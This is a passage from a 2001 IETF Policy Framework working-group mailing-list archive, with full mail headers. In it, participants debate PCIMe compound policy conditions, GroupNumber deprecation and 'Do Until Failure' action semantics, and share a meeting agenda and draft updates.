(8.9.1a/8.9.1a) with SMTP id LAA03703 for ; Thu, 12 Jul 2001 11:09:29 -0400 (EDT) Received: from rtpmail03.raleigh.ibm.com (rtpmail03.raleigh.ibm.com [9.37.172.47]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id KAA29798; Thu, 12 Jul 2001 10:59:01 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id LAA27452; Thu, 12 Jul 2001 11:03:25 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA31170; Thu, 12 Jul 2001 10:09:28 -0400 Received: from rtpmail02.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA45236; Thu, 12 Jul 2001 10:09:25 -0400 Received: from fwns2.raleigh.ibm.com (fwns2.raleigh.ibm.com [9.37.0.4]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id KAA25424; Thu, 12 Jul 2001 10:09:24 -0400 Received: from zcars0m9.ca.nortel.com (h157s242a129n47.user.nortelnetworks.com [47.129.242.157]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id KAA20228; Thu, 12 Jul 2001 10:04:53 -0400 Received: from zcars04f.ca.nortel.com (zcars04f.ca.nortel.com [47.129.242.57]) by zcars0m9.ca.nortel.com (8.11.0/8.11.0) with ESMTP id f6CE8Mb15755; Thu, 12 Jul 2001 10:08:22 -0400 (EDT) Received: from zcard00m.ca.nortel.com by zcars04f.ca.nortel.com; Thu, 12 Jul 2001 10:08:11 -0400 Received: from zcard04n.ca.nortel.com ([47.129.242.86]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 3X1HN31T; Thu, 12 Jul 2001 10:08:11 -0400 Received: from americasm01.nt.com (mpana-1.ca.nortel.com [47.128.214.95]) by zcard04n.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 3V7FT9HX; Thu, 12 Jul 2001 10:08:12 -0400 Message-Id: <3B4DB016.EEEFD9C1@americasm01.nt.com> Date: Thu, 12 Jul 2001 10:11:34 -0400 X-Sybari-Space: 00000000 00000000 00000000 From: "Mircea Pana" Organization: Nortel Networks X-Mailer: Mozilla 4.77 [en] (WinNT; U) X-Accept-Language: en Mime-Version: 1.0 To: Ron Cohen Cc: Lee Rafalow , IETF Policy Subject: Re: PCIMe: GroupNumber deprecation References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Orig: Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: "Mircea Pana" Content-Transfer-Encoding: 7bit Ron, My arguments are for clarity and explicit semantics. IMO the CompoundXXX concept does not need to include multiple levels of components (CompoundedXXX). This does not exclude the ability to create arbitrarily complex [reusable] instances. One can achieve this goal by aggregating CompoundXXX in CompoundXXX by the means of the CompoundedXXX aggregation. In my previous example both CompoundC_0 and CompoundC_01 may be stored in a folder as reusable conditions. Meanwhile, CompoundC_0 represents a multi-level condition: (C1 AND (C2 OR C3)). Regards, Mircea. Ron Cohen wrote: > > Mircea, > > The compound policy condition and the compound action are needed in order > to provide a mechanism to have reusable conditions and actions. A policy > writer that writes a complex condition needs to be able to keep this > condition in a folder, and reuse it as a condition (or sub-condition) > within several rules. It is not acceptable to allow only one line (one > group) reusable conditions and actions. > > Regards > Ron > > > Lee, > > > > I agree with your proposal to extend the original model "in a way that, > > to the extent possible, preserves interoperability with implementations > > of the original PCIM model." (as stated in PCIMe, 1. Introduction). > > > > However, a more radical view would also "spin off" a PolicyCondition > > and a PolicyAction (exactly one of each) from the PolicyRule semantics. > > Since CompoundPolicyXXX deals with the aggregation of (one or more) > > PolicyXXX instances, it is unnecessary to provide the same aggregation > > capabilities in the PolicyRule as well. The PolicyRule instead would be > > involved in a one-to-one PolicyXXXInPolicyRule aggregation. > > > > This can be looked at in this way: In PCIM, the PolicyRule includes an > > implicit [compound]condition and an implicit [compound]action. In PCIMe > > these semantics are fully covered by explicit concepts. Therefore, the > > implicit ones are redundant and may be deprecated. > > > > For example instead of: > > > > Rule_0 (type=CNF) > > | > > +-(group#=1)-> SimpleC_1 (FlowDirection=IN) > > | > > +-(group#=2)-> SimpleC_2 (Source=10.2.0.0/16) > > | > > +-(group#=2)-> SimpleC_3 (Source=10.5.0.0/16) > > > > > > one could have: > > > > Rule_0 > > | > > +-(1..1)->CompoundC_0 (type=AND) > > | > > +-> SimpleC_1 (FlowDirection=IN) > > | > > +-> CompoundC_01 (type=OR) > > | > > +-> SimpleC_2 (Source=10.2.0.0/16) > > | > > +-> SimpleC_3 (Source=10.5.0.0/16) > > > > > > > > This would require the deprecation of several properties in the > > PolicyRule, change the PolicyXXXInPolicyRule aggregations and a complex > > PCIM->PCIMe data migration. > > > > How about making this scenario as a recommended one (SHOULD) in PCIMe? > > > > Regards, > > Mircea. > > > > > > > > > > Lee Rafalow wrote: > > > > > > Mircia, > > > > > > Sorry for the delay in responding to this concern. As long as > > we confine > > > the proposed change to CompoundPolicyCondition and > > > PolicyConditionInPolicyCondition I think it's fine. I'd rather > > not modify > > > PolicyConditionInPolicyRule however because there are > > implementations that > > > would have migration problems if we removed the capability to > > use the PCIM > > > method. > > > > > > So, for specifics, I'd suggest we rename CompoundedPolicyCondition to > > > PolicyConditionStructure and include IsNegated in that > > superclass. Then in > > > the PolicyConditionInPolicyRule subclass, we add the > > GroupNumber but not in > > > the PolicyConditionInPolicyCondition subclass. > > > > > > (I'd like to see a similar renaming of CompoundedPolicyAction > > as well since, > > > for both, the PolicyXXXinPolicyRule subclass is not compounded.) > > > > > > Regards, Lee > > > ----- Original Message ----- > > > From: "Mircea Pana" > > > To: "IETF Policy" > > > Sent: Wednesday, June 13, 2001 3:16 PM > > > Subject: PCIMe: GroupNumber deprecation > > > > > > > In PCIMe: > > > > > > > > Is the GroupNumber property in the CompoundedPolicyCondition really > > > > necessary? IMO this grouping mechanism unnecessarily overloads the > > > > CompoundPolicyCondition semantics. Therefore, I'd like to suggest > its > > > > deprecation. > > > > > > > > Without GroupNumber, the CompoundPolicyCondition would represent a > > > > single level (instead of the current two level) aggregation of > > > > PolicyConditions. Through CompoundPolicyConditions aggregated by > other > > > > CompoundPolicyConditions one could still build arbitrary > > complex policy > > > > conditions. > > > > > > > > For example, given a condition like this: > > > > FlowDirection=IN AND (Source=10.2.0.0/16 OR Source=10.5.0.0/16) > > > > > > > > A. With GroupNumber this can be represented as follows: > > > > > > > > CompoundC_0 (type=CNF) > > > > | > > > > +-(group#=1)-> SimpleC_1 (FlowDirection=IN) > > > > | > > > > +-(group#=2)-> SimpleC_2 (Source=10.2.0.0/16) > > > > | > > > > +-(group#=2)-> SimpleC_3 (Source=10.5.0.0/16) > > > > > > > > > > > > B. Without grouping, the condition may look like: > > > > > > > > CompoundC_0 (type=AND) > > > > | > > > > +-> SimpleC_1 (FlowDirection=IN) > > > > | > > > > +-> CompoundC_01 (type=OR) > > > > | > > > > +-> SimpleC_2 (Source=10.2.0.0/16) > > > > | > > > > +-> SimpleC_3 (Source=10.5.0.0/16) > > > > > > > > Option B seems more intuitive since the aggregation tree and the > > > > evaluation tree map better to each other. > > > > > > > > Regards, > > > > Mircea Pana. From policy-admin@ietf.org Fri Jul 13 15:15:41 2001 Received: from optimus.ietf.org (ietf.org [132.151.1.19] (may be forged)) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA25659 for ; Fri, 13 Jul 2001 15:15:41 -0400 (EDT) Received: from optimus.ietf.org (localhost [127.0.0.1]) by optimus.ietf.org (8.9.1a/8.9.1) with ESMTP id PAA05374 for ; Fri, 13 Jul 2001 15:16:32 -0400 (EDT) Date: Fri, 13 Jul 2001 15:16:32 -0400 (EDT) Message-Id: <200107131916.PAA05374@optimus.ietf.org> From: policy-admin@ietf.org Subject: Welcome To "Policy"! To: policy-web-archive@ietf.org X-Mailman-Version: 1.0 Precedence: bulk List-Id: Welcome to the Policy@ietf.org mailing list! ********** Note Well All statements of a technical or standards-related nature addressed to the IETF are subject to all provisions of Section 10 of RFC 2026, which grants certain licenses and rights in such statements to the IETF and its participants. This includes verbal statements in meetings, as well as written and electronic communications made at any time or place, to -the IETF plenary session, -any IETF working group or portion thereof, -the IESG or any member thereof, -the IAB or any member thereof, -any IETF mailing list, including the IETF list itself, any working group or design team list, or any other list functioning under IETF auspices, -or as an Internet-Drafts submission. The above excludes personal communications not intended to be shared with any IETF working group, the IESG, the IAB,or any subset thereof. ********* To post to this list, send your email to: policy@ietf.org General information about the mailing list is at: http://www.ietf.org/mailman/listinfo/policy If you ever want to unsubscribe or change your options (eg, switch to or from digest mode, change your password, etc.), visit your subscription page at: http://www.ietf.org/mailman/options/policy/policy-web-archive@ietf.org You can also make such adjustments via email by sending a message to: Policy-request@ietf.org with the word `help' in the subject or body (don't include the quotes), and you will get back a message with instructions. You must know your password to change your options (including changing the password, itself) or to unsubscribe. It is: If you forget your password, don't worry, you will receive a monthly reminder telling you what all your ietf.org mailing list passwords are, and how to unsubscribe or change your options. There is also a button on your options page that will email your current password to you. You may also have your password mailed to you automatically off of the Web page noted above. From policy-admin@ietf.org Fri Jul 13 15:38:14 2001 Received: from optimus.ietf.org (ietf.org [132.151.1.19] (may be forged)) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA28679 for ; Fri, 13 Jul 2001 15:38:14 -0400 (EDT) Received: from optimus.ietf.org (localhost [127.0.0.1]) by optimus.ietf.org (8.9.1a/8.9.1) with ESMTP id PAA05893 for ; Fri, 13 Jul 2001 15:39:06 -0400 (EDT) Received: from ietf.org (odin [132.151.1.176]) by optimus.ietf.org (8.9.1a/8.9.1) with ESMTP id PAA05883 for ; Fri, 13 Jul 2001 15:39:05 -0400 (EDT) Received: from cnri.reston.va.us (cnri.reston.va.us [132.151.1.1]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA28676 for ; Fri, 13 Jul 2001 15:38:13 -0400 (EDT) Received: from hubris.cnri.reston.va.us (cnri-7-77.cnri.reston.va.us [132.151.7.77]) by cnri.reston.va.us (8.11.3/8.11.3) with ESMTP id f6DJd1A04314 for ; Fri, 13 Jul 2001 15:39:01 -0400 (EDT) Message-Id: <5.0.0.25.2.20010713152957.05b2d7b0@mailbox.cnri.reston.va.us> X-Sender: gcunning@mailbox.cnri.reston.va.us X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Fri, 13 Jul 2001 15:30:09 -0400 To: policy@ietf.org From: Greg Cunningham Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [Policy] test1 Sender: policy-admin@ietf.org Errors-To: policy-admin@ietf.org X-Mailman-Version: 1.0 Precedence: bulk List-Id: X-BeenThere: policy@ietf.org test1 _______________________________________________ Policy mailing list Policy@ietf.org http://www.ietf.org/mailman/listinfo/policy From majordomo@raleigh.ibm.com Fri Jul 20 13:52:18 2001 Received: from fwns1.raleigh.ibm.com (fwns1d.raleigh.ibm.com [204.146.167.235]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA11258 for ; Fri, 20 Jul 2001 13:52:16 -0400 (EDT) Received: from rtpmail03.raleigh.ibm.com (rtpmail03.raleigh.ibm.com [9.37.172.47]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id NAA24764; Fri, 20 Jul 2001 13:47:32 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id NAA27802; Fri, 20 Jul 2001 13:47:17 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA30930; Fri, 20 Jul 2001 12:55:01 -0400 Received: from rtpmail03.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA104394; Fri, 20 Jul 2001 12:54:58 -0400 Received: from fwns1.raleigh.ibm.com (fwns1.raleigh.ibm.com [9.37.0.3]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id MAA22152 for ; Fri, 20 Jul 2001 12:54:58 -0400 Received: from longsys.com (dmz.longsys.com [63.111.150.5]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id MAA10576 for ; Fri, 20 Jul 2001 12:54:57 -0400 Received: from joel (discordian.longsys.com [63.111.150.74]) by longsys.com (8.10.0/8.10.0) with ESMTP id f6KGsJG10722 for ; Fri, 20 Jul 2001 16:54:19 GMT Message-Id: <4.2.2.20010720125021.00c7fb20@localhost> X-Sender: joel@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 20 Jul 2001 12:54:06 -0400 To: policy@raleigh.ibm.com From: "Joel M. Halpern" Subject: Fwd: Policy Framework preliminary agenda Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: "Joel M. Halpern" Below is preliminary agenda we have submitted for the meeting. I have estimated the draft names, as all three teams have committed to providing revisions of their documents. A) Once the documents are submitted, I would like a list of open items from the document editors so that we can refine this agenda into one that actually matches the work to be done. B) If there are any other items people want covered in these two slots, let Ed and me know. Our goal is to resolve ALL open issues on these documents and determine rough consensus (to be verified on the list) on these issues. The goal is to be able to publish the Proposed Standard RFCs from these after London. We hope to not meet in Salt Lake, although there will be LDAP mapping documents that will need to be produced. Thank you, Joel M. Halpern and Ed Ellesson >Date: Fri, 20 Jul 2001 12:49:57 -0400 >To: agenda@ietf.org >From: "Joel M. Halpern" >Subject: Policy Framework preliminary agenda > >Policy Framework WG (policy) -- preliminary agenda > >MONDAY, August 6, 2001 at 1300-1500 >THURSDAY, August 9, 2001 at 1530-1730 >================================== >CHAIRS: > Joel Halpern > Ed Ellesson > >AGENDA: >Session 1: >1) Agenda Bash -- Ed Ellesson, 10 min >2) Status Review -- Joel Halpern, 10 Min >3) Policy Core Information Model Extensions (PCIMe) -- > draft-ietf-policy-pcim-ext-02.txt, 1 hour >4) Policy Framework QoS Information Model (QPIM) -- > draft-ietf-policy-qos-info-model-04.txt, 40 minutes > >Session 2: >1) Policy Framework QoS Information Model (QPIM) -- > draft-ietf-policy-qos-info-model-03.txt, 50 minutes >2) Information Model for Describing Network Device QoS Mechanisms (QDDIM) -- > draft-ietf-policy-qos-device-info-model-05.txt, 1 hours >3) Summary -- Ed Ellesson, 10 min From majordomo@raleigh.ibm.com Fri Jul 20 15:56:40 2001 Received: from fwns2.raleigh.ibm.com (fwns2d.raleigh.ibm.com [204.146.167.236]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA23050 for ; Fri, 20 Jul 2001 15:56:39 -0400 (EDT) Received: from rtpmail02.raleigh.ibm.com (rtpmail02.raleigh.ibm.com [9.37.172.48]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id PAA24546; Fri, 20 Jul 2001 15:44:36 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id PAA30622; Fri, 20 Jul 2001 15:49:34 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA109806; Fri, 20 Jul 2001 14:58:19 -0400 Received: from rtpmail02.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA09184; Fri, 20 Jul 2001 14:58:16 -0400 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by rtpmail02.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id OAA40522 for ; Fri, 20 Jul 2001 14:58:15 -0400 Received: from d04mc200.raleigh.ibm.com (d04mc200.raleigh.ibm.com [9.67.228.62]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO v4.97) with ESMTP id f6KIwEo114202; Fri, 20 Jul 2001 14:58:14 -0400 Importance: Normal Subject: Updates to PCIMe and QDDIM available To: policy@raleigh.ibm.com Cc: eellesson@lboard.com, joel@longsys.com X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-Id: From: "Robert Moore" Date: Fri, 20 Jul 2001 15:09:38 -0400 X-Mimetrack: Serialize by Router on D04MC200/04/M/IBM(Release 5.0.6 |December 14, 2000) at 07/20/2001 02:58:13 PM Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: "Robert Moore" I have submitted updates to PCIMe and QDDIM to the Internet-Drafts repository. While they're working through their backlog there, the two drafts are available on the AIW ftp site: ftp://ftp.networking.ibm.com/pub/standards/aiw/misc/draft-ietf-policy-pcim-ext-02.txt ftp://ftp.networking.ibm.com/pub/standards/aiw/misc/draft-ietf-policy-qos-device-info-model-05.txt Regards, Bob Bob Moore Advanced Design and Technology Application Integration Middleware Division IBM Software Group +1-919-254-4436 remoore@us.ibm.com From majordomo@raleigh.ibm.com Mon Jul 23 16:00:20 2001 Received: from fwns1.raleigh.ibm.com (fwns1d.raleigh.ibm.com [204.146.167.235]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA19780 for ; Mon, 23 Jul 2001 16:00:19 -0400 (EDT) Received: from rtpmail01.raleigh.ibm.com (rtpmail01.raleigh.ibm.com [9.37.172.24]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id PAA24490; Mon, 23 Jul 2001 15:55:26 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id PAA32160; Mon, 23 Jul 2001 15:55:21 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA60208; Mon, 23 Jul 2001 15:03:25 -0400 Received: from rtpmail03.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA46632; Mon, 23 Jul 2001 15:03:22 -0400 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id PAA24466 for ; Mon, 23 Jul 2001 15:03:22 -0400 Received: from d04mc200.raleigh.ibm.com (d04mc200.raleigh.ibm.com [9.67.228.62]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO v4.97) with ESMTP id f6NJ2uu29210; Mon, 23 Jul 2001 15:02:56 -0400 Importance: Normal Subject: Re: Fwd: Policy Framework preliminary agenda To: "Joel M. Halpern" Cc: policy@raleigh.ibm.com X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-Id: From: "Robert Moore" Date: Mon, 23 Jul 2001 15:14:51 -0400 X-Mimetrack: Serialize by Router on D04MC200/04/M/IBM(Release 5.0.6 |December 14, 2000) at 07/23/2001 03:03:19 PM Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: "Robert Moore" Joel (and everybody else), > A) Once the documents are submitted, I would like a list of open items from > the document editors so that we can refine this agenda into one that > actually matches the work to be done. For PCIMe-02, here are the issues I know about: 1. What do we call the IPHeaderFilter class, and what list of fields should it filter on? (Eric Vyncke) 2. How should the Do Until Failure ExecutionStrategy work for a compound action? (Mircea Pana) 3. Questions related to PolicyExplicitVariables (see section 4.8.6 of PCIMe): - Are they still useful, given that their scope is restricted to the instances selected by PolicyRoles? (If the answer is "No, they're not," then we have a problem: the PCIMe authors, at least, couldn't figure out how to make them "follow associations outwards" from these selected instances to associated instances.) - Can PolicyRoles as they're now defined really do the instance-selection job for explicit variables? (When it takes many object instances to model one "thing" such as an interface, role-based selection runs the risk of being at the wrong granularity for explicit variables.) Even though we wrote the text that's there, it's probably best to put Marcus, Andrea, and me down for this issue. If anybody else has additional issues, please send them to the list. Regards, Bob Bob Moore Advanced Design and Technology Application Integration Middleware Division IBM Software Group +1-919-254-4436 remoore@us.ibm.com "Joel M. Halpern" @raleigh.ibm.com on 07/20/2001 12:54:06 PM Please respond to "Joel M. Halpern" Sent by: policy-owner@raleigh.ibm.com To: policy@raleigh.ibm.com cc: Subject: Fwd: Policy Framework preliminary agenda Below is preliminary agenda we have submitted for the meeting. I have estimated the draft names, as all three teams have committed to providing revisions of their documents. A) Once the documents are submitted, I would like a list of open items from the document editors so that we can refine this agenda into one that actually matches the work to be done. B) If there are any other items people want covered in these two slots, let Ed and me know. Our goal is to resolve ALL open issues on these documents and determine rough consensus (to be verified on the list) on these issues. The goal is to be able to publish the Proposed Standard RFCs from these after London. We hope to not meet in Salt Lake, although there will be LDAP mapping documents that will need to be produced. Thank you, Joel M. Halpern and Ed Ellesson >Date: Fri, 20 Jul 2001 12:49:57 -0400 >To: agenda@ietf.org >From: "Joel M. Halpern" >Subject: Policy Framework preliminary agenda > >Policy Framework WG (policy) -- preliminary agenda > >MONDAY, August 6, 2001 at 1300-1500 >THURSDAY, August 9, 2001 at 1530-1730 >================================== >CHAIRS: > Joel Halpern > Ed Ellesson > >AGENDA: >Session 1: >1) Agenda Bash -- Ed Ellesson, 10 min >2) Status Review -- Joel Halpern, 10 Min >3) Policy Core Information Model Extensions (PCIMe) -- > draft-ietf-policy-pcim-ext-02.txt, 1 hour >4) Policy Framework QoS Information Model (QPIM) -- > draft-ietf-policy-qos-info-model-04.txt, 40 minutes > >Session 2: >1) Policy Framework QoS Information Model (QPIM) -- > draft-ietf-policy-qos-info-model-03.txt, 50 minutes >2) Information Model for Describing Network Device QoS Mechanisms (QDDIM) -- > draft-ietf-policy-qos-device-info-model-05.txt, 1 hours >3) Summary -- Ed Ellesson, 10 min From majordomo@raleigh.ibm.com Mon Jul 23 17:10:37 2001 Received: from fwns2.raleigh.ibm.com (fwns2d.raleigh.ibm.com [204.146.167.236]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA24131 for ; Mon, 23 Jul 2001 17:10:36 -0400 (EDT) Received: from rtpmail03.raleigh.ibm.com (rtpmail03.raleigh.ibm.com [9.37.172.47]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id RAA12798; Mon, 23 Jul 2001 17:00:37 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail03.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id RAA33798; Mon, 23 Jul 2001 17:05:46 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA51092; Mon, 23 Jul 2001 16:17:27 -0400 Received: from rtpmail01.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA46732; Mon, 23 Jul 2001 16:17:24 -0400 Received: from fwns1.raleigh.ibm.com (fwns1.raleigh.ibm.com [9.37.0.3]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id QAA28698 for ; Mon, 23 Jul 2001 16:17:23 -0400 Received: from zcars0m9.ca.nortel.com ([47.129.242.157]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id QAA18484 for ; Mon, 23 Jul 2001 16:17:22 -0400 Received: from zcars04e.ca.nortel.com (zcars04e.ca.nortel.com [47.129.242.56]) by zcars0m9.ca.nortel.com (8.11.0/8.11.0) with ESMTP id f6NKGV906732 for ; Mon, 23 Jul 2001 16:16:31 -0400 (EDT) Received: from zcard00m.ca.nortel.com by zcars04e.ca.nortel.com; Mon, 23 Jul 2001 16:16:41 -0400 Received: from zcard04n.ca.nortel.com ([47.129.242.86]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id PNPTXZT4; Mon, 23 Jul 2001 16:16:41 -0400 Received: from americasm01.nt.com (mpana-1.ca.nortel.com [47.128.214.95]) by zcard04n.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id PLSP24Z0; Mon, 23 Jul 2001 16:16:41 -0400 Message-Id: <3B5C86CE.590F2E0B@americasm01.nt.com> Date: Mon, 23 Jul 2001 16:19:26 -0400 X-Sybari-Space: 00000000 00000000 00000000 From: "Mircea Pana" Organization: Nortel Networks X-Mailer: Mozilla 4.77 [en] (WinNT; U) X-Accept-Language: en Mime-Version: 1.0 To: IETF Policy Subject: Re: Result of the compoundPolicyAction References: <3B584186.A1F431E7@americasm01.nt.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Orig: Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: "Mircea Pana" Content-Transfer-Encoding: 7bit I'm re-posting this message because it may have been dropped by the mailing list. Sorry if you receive it again. Regards, Mircea. P.S. Bob, I have received your answer but I'm [re-]posting this for the record. "Pana, Mircea [CAR:5E20:EXCH]" wrote: > > Bob, > > I have interpreted "Do_Until_Failure" as: do one or more from a list of > actions that is always or most of the time expected to fail at some > point. One may want to take a different action only if none of the > components was successful. Does this make sense? > > Regards, > Mircea. > > > Do Until Failure: > > > All succeed --> the compound action succeeds > > > One fails --> the compound action fails > > > > We diverge from Mircea only in the case of > > Do Until Failure. We don't have a rigorous > > argument for our alternative over hers > > ...actually "his" ;-) From majordomo@raleigh.ibm.com Mon Jul 23 17:35:03 2001 Received: from fwns1.raleigh.ibm.com (fwns1d.raleigh.ibm.com [204.146.167.235]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA25672 for ; Mon, 23 Jul 2001 17:35:02 -0400 (EDT) Received: from rtpmail01.raleigh.ibm.com (rtpmail01.raleigh.ibm.com [9.37.172.24]) by fwns1.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id RAA10298; Mon, 23 Jul 2001 17:30:19 -0400 Received: from rtpaix11.raleigh.ibm.com (rtpaix11.raleigh.ibm.com [9.37.172.4]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with SMTP id RAA33014; Mon, 23 Jul 2001 17:30:12 -0400 Received: by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA40682; Mon, 23 Jul 2001 16:44:18 -0400 Received: from rtpmail01.raleigh.ibm.com by rtpaix11.raleigh.ibm.com (AIX 4.1/UCB 5.64/4.03-RAL) id AA46818; Mon, 23 Jul 2001 16:44:15 -0400 Received: from fwns2.raleigh.ibm.com (fwns2.raleigh.ibm.com [9.37.0.4]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id QAA28124 for ; Mon, 23 Jul 2001 16:44:14 -0400 Received: from zcars0m9.ca.nortel.com ([47.129.242.157]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id QAA17358 for ; Mon, 23 Jul 2001 16:38:59 -0400 Received: from zcars04f.ca.nortel.com (zcars04f.ca.nortel.com [47.129.242.57]) by zcars0m9.ca.nortel.com (8.11.0/8.11.0) with ESMTP id f6NKhM909406 for ; Mon, 23 Jul 2001 16:43:22 -0400 (EDT) Received: from zcard00m.ca.nortel.com by zcars04f.ca.nortel.com; Mon, 23 Jul 2001 16:43:25 -0400 Received: from zcard04n.ca.nortel.com ([47.129.242.86]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id PNPTX85W; Mon, 23 Jul 2001 16:43:26 -0400 Received: from americasm01.nt.com (mpana-1.ca.nortel.com [47.128.214.95]) by zcard04n.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id PLSP2454; Mon, 23 Jul 2001 16:43:27 -0400 Message-Id: <3B5C8D15.159CDB35@americasm01.nt.com> Date: Mon, 23 Jul 2001 16:46:13 -0400 X-Sybari-Space: 00000000 00000000 00000000 From: "Mircea Pana" Organization: Nortel Networks X-Mailer: Mozilla 4.77 [en] (WinNT; U) X-Accept-Language: en Mime-Version: 1.0 To: Robert Moore Cc: IETF Policy , "Jason, Jamie" , Eric Vyncke , mike_baer , wes_hardaker , brunner@ccrle.nec.de, chadha@research.telcordia.com, Lee Rafalow , yramberg@cisco.com, ysnir@cisco.com, john.strassner@intelliden.com, andreaw@cisco.com, ronc@ntear.com, eellesson@lboard.com, joel@longsys.com Subject: Re: Result of the compoundPolicyAction References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Orig: Sender: policy-owner@raleigh.ibm.com Precedence: bulk Reply-To: "Mircea Pana" Content-Transfer-Encoding: 7bit IMO option 4 may be a better candidate. Interestingly enough, we don't actually argue on how to *execute* the compounded actions, but on how to *interpret* the result. Maybe the *execution* and the *interpretation* should be separated. Both my and Wes's options consider executing compounded actions until one fails. The only difference is in the interpretation of the results once the execution has completed. Similarly the "Do all" could be expanded to: - "Do all Hoping They Will All Succeed" - "Do all Expecting Some to Fail" (do any one or more from the bunch) Regards, Mircea. Robert Moore wrote: > > Mircea, > > Yes, it does make sense. But so does the interpretation > that Wes captured: > > > In my view, the words "Do Until Failure" means that you're trying to > > loop through a bunch of items and hope that they all succeed. If > > that's the case, it's likely that 